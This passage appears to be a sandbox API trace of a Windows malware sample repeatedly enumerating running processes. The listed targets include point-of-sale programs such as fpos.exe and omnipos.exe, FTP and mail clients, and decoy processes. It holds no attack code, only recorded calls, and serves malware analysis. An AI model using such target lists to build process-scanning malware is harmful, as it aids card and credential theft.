th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0261.425] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0261.428] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0261.429] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0261.431] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0261.433] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0261.435] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0261.436] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0261.438] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0261.440] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0261.441] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0261.443] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0261.444] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0261.445] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0261.447] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.448] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0261.450] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0261.451] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0261.452] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0261.454] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0261.455] CloseHandle (hObject=0x1024) returned 1 [0261.455] Sleep (dwMilliseconds=0x64) [0261.504] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1024 [0261.514] Process32First (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0261.515] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0261.517] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0261.518] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.568] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0261.570] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0261.572] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0261.574] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0261.576] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0261.578] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.580] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.581] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0261.583] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.585] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.587] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.588] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.589] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.591] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.592] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.593] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0261.594] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0261.596] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0261.597] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.598] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0261.600] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0261.601] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0261.602] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0261.604] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0261.605] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0261.607] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0261.608] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0261.610] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0261.611] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0261.660] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0261.662] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0261.663] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0261.664] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0261.665] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0261.667] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0261.668] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0261.669] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0261.671] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0261.672] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0261.673] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0261.675] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0261.676] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0261.677] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0261.679] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0261.681] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0261.683] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0261.684] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0261.686] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0261.688] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0261.690] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0261.692] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0261.694] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0261.695] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0261.696] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0261.698] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0261.700] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0261.701] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0261.703] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0261.704] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0261.754] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0261.757] Process32Next (in: hSnapshot=0x1024, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, 